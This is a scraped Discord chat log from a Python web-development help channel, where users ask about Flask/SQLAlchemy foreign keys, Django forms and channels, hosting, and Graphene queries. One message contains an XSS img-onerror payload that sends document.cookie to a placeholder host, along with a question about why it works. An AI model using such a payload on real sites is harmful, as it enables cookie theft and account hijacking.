    color = db.Column(db.String(length=255), nullable=False)
    price = db.Column(db.Integer() , default=1)
    quantity = db.Column(db.Integer(), default=1)
    status = db.Column(db.Boolean(), default=True)
    discount = db.Column(db.Integer(), default=0)
    image = db.Column(db.LargeBinary())
    
    store_id = db.Column(db.String(length=36), db.ForeignKey('Stores.store_id'))

    def get_id(self):
        return self.product_id

    def __repr__(self):
        return f"Product('{self.product_id}, {self.product_name}, {self.category}, {self.color}, {self.price}, {self.discount}')"```
#
raise exc.NoReferencedColumnError(
sqlalchemy.exc.NoReferencedColumnError: Could not initialize target column for ForeignKey 'Products.product_id' on table 'order_product': table 'Products' has no column named 'product_id')
#

SQL Alchemy and flask

#

can't create tables

#

can anyone help ?

haughty isle
#

I'd recommend using a db.Model for order_product

jovial cloud
lavish prismBOT
#

@buoyant plume Please don't try to ping @everyone or @here. Your message has been removed. If you believe this was a mistake, please let staff know!

wraith yacht
#

Hii guys. I just created a React app that consumes a Django API.

Any ideas on hosting? Pls this is my first time.

restive pine
#

I like heroku because its pretty easy to deploy stuff to

wraith yacht
#

Is it free?

devout aurora
#

where should i host my flask website? im expecting some decent traffic so i need the hosting to be pretty good

#

any suggestions?

haughty isle
#

Heroku is still pretty great at scale, it's just premium

#

How many is that?

devout aurora
haughty isle
#

Like 10 concurrent users?

devout aurora
haughty isle
#

Or 10,000?

devout aurora
haughty isle
#

Heroku is literally the easiest

devout aurora
haughty isle
#

And yeah can easily handle 50 concurrent users for free

devout aurora
#

can u dm?

haughty isle
#

Sorry not in DMs

devout aurora
haughty isle
#

I think it's pretty easy with heroku

pure sorrel
#
<img src=x onerror="this.src='http://ipadress/?'+document.cookie; this.removeAttribute('onerror');">
#

can someone explain why this cross site scripting is working?

#

i dont understand the error part

fast remnant
#

Hello for blogging, I am fluent in Python, what are the frontal languages ​​I need to learn?

#

Are html, css and flexbox languages ​​enough?

#

Although I know Python, do I need JavaScript ??

frosty mauve
#

Any Django gurus in here? I have been stuck on model.forms for a bit and curious to see if anyone can alleviate my pain w/ their wisdom.

vestal hound
#

JS just provides dynamism

#

why do you need to do that?

#

that is...quite scary.

#

anyway, with proper devops, it will appear seamless, but having to effect a manual code change for each registration is...wild tbh

#

it's pretty easy! I've done it before

autumn dust
final stag
#

Yup

frosty mauve
#

Just to elaborate on my issue:
I have an city object in my DB and display name, temperature, etc..
I also created a form that allows me to rate it.
I am unsure of how to have this form submit the rating while passing in the parent (city) pk.
If anyone can provide any insight into how to accomplish this ❤️

I think the issue lies in populating the rating form with the city object but I am not sure how to dynamically do that when there are multiple forms, one for each City.

lavish prismBOT
#

Hey @eternal blade!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

• If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

• If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

eternal blade
#

django-channels ```py
from django.db.models.signals import post_save
from channels.layers import get_channel_layer
from asgiref.sync import async_to_sync
from django.dispatch import receiver

from .serializers import MessageSerializer
from base.models import Message

channel_layer = get_channel_layer()

@receiver(post_save, sender=Message)
def new_message(sender, instance, created, **kwargs):
serializer = MessageSerializer(instance)
if created:
chat_group = instance.channel.chat_group
for member in chat_group.members:
async_to_sync(channel_layer.send)(f"User{member.user.id}", {"type": "chat_message_send", "message": serializer.data})
else:
chat_group = instance.channel.chat_group
for member in chat_group.members:
async_to_sync(channel_layer.send)(f"User{member.user.id}",
{"type": "chat_message_edit", "message": serializer.data})

scenic citrus
#

i want to find point from this table track_list = Sidings.objects.filter(
Q(siding_coordinates__topLeft__x__lte =x)&
Q(siding_coordinates__topRight__x__gte =x)&
Q(siding_coordinates__botLeft__x__lt =x)&
Q(siding_coordinates__botRight__x__gte =x)&
Q(siding_coordinates__topLeft__y__lte =y)&
Q(siding_coordinates__topRight__y__lte =y)&
Q(siding_coordinates__botLeft__y__gt =y)&
Q(siding_coordinates__botRight__y__gte =y)).values('siding_coordinates')

frosty mauve
#

@autumn dust

# -- models.py
from django.db import models

# Create your models here.
class City(models.Model):
    name = models.CharField(max_length=30)

class Rating(models.Model):
    rating = models.IntegerField()
    city = models.ForeignKey(City, on_delete=models.CASCADE)

# -- forms.py
class RatingForm(ModelForm):
    class Meta:
        model = Rating
        fields = ['rating']
        exclude = ['city']

#  -- views.py
def index(request):

    cities = City.objects.all()

    ratingform = RatingForm()



    if request.method == 'POST':
    
         # Not sure how to get City object for current form into this Post
        print(request.POST)
        ratingform = RatingForm(request.POST)
 
        if ratingform.is_valid():
            # ratingform.instance.city = howtogetcity objet here

            # This doesn't work yet
            # ratingform.save
scenic citrus
#

this way is not working for me, can any one suggest me

autumn dust
autumn dust
eternal blade
#

yes the problem was in the serializer

autumn dust
scenic citrus
#

plz can you help me

frosty mauve
#

@autumn dust How do I do this part pass it the city id, . This is where I am really stuck

autumn dust
scenic citrus
#

no

#

but it's not geolocation

autumn dust
scenic citrus
#

this is the json type obj in table {
'block_id': '1.0_B3',
'block_coordinates': {
'x': 1507.2816162109375,
'y': 776.7411499023438,
'pivot': {
'x': 1814.5316162109375,
'y': 806.2411499023438
},
'botLeft': {
'x': 1505.9722457931548,
'y': 814.236612827126
},
'topLeft': {
'x': 1510.0878777440582,
'y': 755.3803338617964
},
'botRight': {
'x': 2118.9753546778165,
'y': 857.1019659428911
},
'topRight': {
'x': 2123.09098662872,
'y': 798.2456869775615
},
'thetaDegrees': 4,
'thetaRadians': 0.06981317007977318
}
}

frosty mauve
#

@autumn dust Oh, I will try to handle this logic in the template. That makes sense and hopefully will work, thanks.

autumn dust
scenic citrus
#

problem is, i want to find point, means ex,x=12322, y=3234, in reactagle

#

which means match with above coordinates, it point is matched i need return true

scenic citrus
autumn dust
#

am guessing this Slidings class created some where
really @scenic citrus i am struggling to understand your problem. sorry but i am

autumn dust
autumn dust
scenic citrus
#

i will show you screen's

autumn dust
odd lotus
#

What can be a better way to keep source foreign keys in a table?
Eg: User can be signed up from multiple forms. I want to keep references of each flow, so

class UserOnboarding(Model):
  contact_form = models.ForeignKey(ContactForm)
  sales_form = models.ForeignKey(SalesForm)
  public_form = models.ForeignKey(PublicForm)

At one point, only 1 of them can be have a value and others will be None.
Everytime a new signup flow is added, new foreign key which will have null value for most cases again.
Any better way to solve/design this?

scenic citrus
scenic citrus
autumn dust
autumn dust
scenic citrus
#

based on the coordinates i need to fined the point x, y

autumn dust
#

Can i see ur Sidings model?

scenic citrus
#

yeah

#

class Sidings(models.Model):
siding_identifier = models.IntegerField(verbose_name="Siding Identifier")
name=models.CharField(max_length=20, verbose_name="Name")
start_point=models.JSONField(default=dict, verbose_name="Start Point")
supported_equipments=ArrayField(models.CharField(max_length=20), default=list, verbose_name="Supported Equipments")
operational_side = models.CharField(max_length=20, verbose_name="Operational Side")
siding_coordinates=models.JSONField(default=dict, verbose_name="Siding Coordinates")
siding_width = models.FloatField(verbose_name="Siding Width")
siding_length = models.FloatField(verbose_name="Siding Length")
rake = models.ForeignKey(Rake, on_delete=models.CASCADE,null=True,related_name='rake_sidings', verbose_name="Rake Sidings")
created_at

#

my input is x, y i want search that point is in with in coordinates or not

prisma grove
#

I am using Django for web dev and i want to display a set of choices on the frontend that represent the data in the database, and users must be able to select an option and I must be able to save the chosen option. How do I implement it, i have been struggling. Help.

autumn dust
scenic citrus
#

even the point in between coordinates

autumn dust
scenic citrus
prisma grove
prisma grove
autumn dust
scenic citrus
#

isi this okay, Sidings.objects.filter(
# Q(siding_coordinates__topLeft__x__lte =x)&
# Q(siding_coordinates__topRight__x__gte =x)&
# Q(siding_coordinates__botLeft__x__lt =x)&
# Q(siding_coordinates__botRight__x__gte =x)&
# Q(siding_coordinates__topLeft__y__lte =y)&
# Q(siding_coordinates__topRight__y__lte =y)&
# Q(siding_coordinates__botLeft__y__gt =y)&
# Q(siding_coordinates__botRight__y__gte =y)).values('siding_coordinates')

haughty isle
scenic citrus
rotund perch
#

in django class-based views is it able to point a url to a function in that class?
For example:

class Somthing(View):
  def function(self,request):
     pass
urlpatterns = [
  path('',views.Something.function.as_view())
]
eternal blade
# autumn dust you welcome

But the event doesn't seem to be sent through the websocket, this is the code for the consumer ```py
class ChatConsumer(WebsocketConsumer):
def connect(self):
user = self.scope["user"]
if not user.is_anonymous:
self.channel_name = f"User-{user.id}"
self.accept()
self.send(text_data=json.dumps(UserSerializer(user).data))
else:
self.close()

def disconnect(self, close_code):
    pass

def receive(self, text_data):
    print("received!")
    data = json.loads(text_data)

def chat_message_send(self, event):
    print(f"Sent msg to {self.channel_name}")
    self.send(text_data=json.dumps(event["message"]))

def chat_message_delete(self, event):
    self.send(text_data=json.dumps(event["message"]))

def chat_message_edit(self, event):
    print(f"Sent edit to {self.channel_name}")
    self.send(text_data=json.dumps(event["message"]))
#

Nothing gets printed

native tide
#

Python :@app.route("/category/<category>")
def product_section_page(category):
return render_template("products_page.html", title=f"Energizefit - {category}", products=list(product_col.find()), category=category)

fierce grail
#

is anyone familiar with sweetify ? im stuck on something and have checked all possible issues, and my brain is about to explode 😅

#

when i do a if request.method == 'POST' , i cannot generate any sweetify alerts (im using ajax as a post request) HOWEVER if i use the usual form post in the html, then the request.method== 'POST' works for a sweetify alert ?????????

#
$.ajax({
            type: "POST",
            url: "{% url 'application_approval' %}",
            data: {
                "decision": decisionBool,
                "applicantID": applicantID,
                "currentClub": '{{ club.id }}',
                csrfmiddlewaretoken: window.CSRF_TOKEN,
            },
        });
    }```
#

and if for example, i use a simple form post, it works for some strange reason ??

#
                         <form action="" method="post">
                            {% csrf_token %}
                            <button type="submit" name='joinClubButton' value={{club.id}}
                                onclick="applyToClub()">Apply Now</button>
                        </form>``` this is just an example, not apple to apple comparison essentially the same
#
@login_required
def application_approval(request):
    if request.method == 'POST' :
      sweetify.success(request, 'Application Accepted', icon='success', timer='3000', backdrop="false")
    else:
      sweetify.error(request, 'This user does not exist anymore', icon='error', button='Ok', timer='3000')

    return render(request, 'application_approval.html', {'club': club, 'applicantList': clubApplicantList})```
native tide
#

how can i make my text on a html website go smaller when the window goes smaller

#

so it all fits

#

?

fierce grail
#

put it in a container ?

native tide
#

Hello

#

The following line of code isn't working correctly : document.getElementById(id).style.display = "block";

#

It shows the element the first time the button is clicked but not the second time where I can press the buttons but they aren't visible.

#

I found the issue

#

opacity was = 0

#

Why isn't the following code not working : document.getElementById(id).style.transition = "all 0.1s ease-in";

slim urchin
#

why is this not working?

midnight meadow
#

I have no clue

#

This is why I don’t have the helper role

native tide
dusty steeple
#

uWSGI looks really good for a Django website; is it a sensible choice over mod_wsgi for a beginner?

hasty glacier
#

Hey - on Django I have a 1 - many related table and I've created a nested serializer to join them. My view is using model.Objects.All() and the query speed is really slow.

I can't figure out to optimise this as .select_related returns that there are 'none' related. Any help would be great! 🙂

hasty glacier
indigo kettle
#

I think you need to do prefetch_related @hasty glacier

dusty steeple
hasty glacier
indigo kettle
#

in your queryset=Jobs.objects.all().prefetch_related('tasks')

hasty glacier
#

Perfect!!

indigo kettle
#

there are some caveats in when you execute the prefetch related but I forget what they are. Like if you do things after it, it overwrites the prefetch related part

hasty glacier
#

I was doing queryset=Jobs.prefect_related('tasks)... woops...

indigo kettle
#

ah

hasty glacier
#

Cheers - load time went from 6s to 500ms. 👍

vernal iron
#

Question regarding using Graphene with SQLAlchemy and Relay. If I have a query set up that will return all nodes (e.g. Books). How do I allow for queries for a single book? I want to be able to search for the single book based on a field I've defined (ISBN number) as opposed to the ID this generated by graphene/relay (because I wouldn't know what that is in advance).

#

I've tried creating a resolver function in the Query class that would take the ISBN number, query the database and return the book data in the response, but the result when I test in graphiql is null

dusty steeple
#

So, in this set up: django-nginx-uwsgi-tutorial/ Apache is redundant?

vernal iron
#

it's a flask app

#

When I originally worked on the graphene tutorial it was possible to have multiple resolvers under a single query class. Is there something that would prevent a regular resolver and a resolver that uses relay node

#

class StateQuery(ObjectType):
def resolve_state(root, info, ccode):
return _get_state(ccode)

all_states = SQLAlchemyConnectionField(StateNode.connection)

schema = Schema(query=StateQuery)

dusty steeple
#

-eeek

gritty hedge
#

Guys I'm trying to make a website, except I don't know what I'm doing

dusty steeple
#

From what I've gathered, websites start off with HTML, get pretty with CSS, go nuts with JS, get generated by frameworks (Django), get hosted by servers-and-you-thought-JS-was-bad.

#

I think a website is one of those things that no one person can really do fully because it involves so many different disciplines (SOE, design, dev, sys admin...).

calm plume
#

A single person can do it, it just requires knowledge in quite a few areas